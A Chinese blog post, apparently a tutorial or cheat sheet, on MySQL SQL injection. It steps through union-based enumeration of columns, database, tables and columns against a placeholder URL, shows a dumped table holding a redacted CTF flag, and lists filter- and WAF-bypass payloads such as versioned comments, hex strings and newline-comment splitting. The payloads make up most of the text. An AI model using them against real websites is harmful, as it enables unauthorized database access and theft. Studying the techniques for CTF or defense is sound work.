針對MySQL的sql注入

常用:
//order by和union select後接的數字個數如果和當前表的列數不同會報錯。故可通過以下語句對列數進行判定。

http://xxx.com/index.php?id=1 order by 3

執行結果

//判斷哪一列的數據可回顯,一般用在有回顯的情況,但大部分情況都是需要報錯注入或者時間盲注的。union前面用id=-1(不存在的值)可以把多餘的東西去掉。

http://xxx.com/index.php?id=-1 union select 1,2,3

//在可回顯的那一列用database()回顯數據庫名,也可以通過user()回顯用戶

http://xxx.com/index.php?id=-1 union select 1,database(),3

//回顯,庫名
sqli

//MySQL默認存在information_schema數據庫,通過該數據庫回顯表名,列名

http://xxx.com/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'

//回顯,表名
info

//注入info表的列名

http://xxx.com/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'

//列名
id,title,flAg_T5ZNdrm

//注入sqli.info

http://xxx.com/index.php?id=-1 union select 1,group_concat(id,title,flAg_T5ZNdrm),3 from sqli.info

//內容(flag打碼)
1flag{在數據庫中}flag{xxxxxxxxxxxxxxxxxxxxxxxx},2testtest

tricks:
1.&代替and,&&代替and,網頁中涉及url編碼用%26%26。
2.-1=-1代替1=1,True代替1=1,False代替1=2。
3.嘗試 <> /**/ 等符號繞過防禦函數,代替空格。
4.0xhex 在MySQL中會被轉義爲string型。

select * from test where id=0x7573657233;

在這裏插入圖片描述
5.mysql CHAR()+if(expr,1,0)

select * from test where id=CHAR(117, 115, 101, 114, 51+if(length(user/**/())=14,0,1));

在這裏插入圖片描述
6.如果當前數據庫版本高於/*!10044*/,則跟在後面的sql語句也會被執行。
/*!10044*/繞過union select:

/*!10044union*/ /*!10044select 1,2,3*/+
union /*!10044select 1,2,3*/+ 

%23QQQ%0Aunion%23QQQQ%0A繞過union select、database():

%23QQQ%0Aunion%23QQQQ%0Aselect 1,2,3+ 
%23QQQ%0Aunion%23QQQQ%0Aselect1,database/*!()*/,3+

/*!60000ghtwf01*/繞過order by、union select:

order/*!60000ghtwf01*/by
union/*!60000ghtwf01*/select

查詢數據庫名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,schema_name from information_schema.schemata limit 0,1--+

查表名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+

查詢列名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,username from users limit 0,1--+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章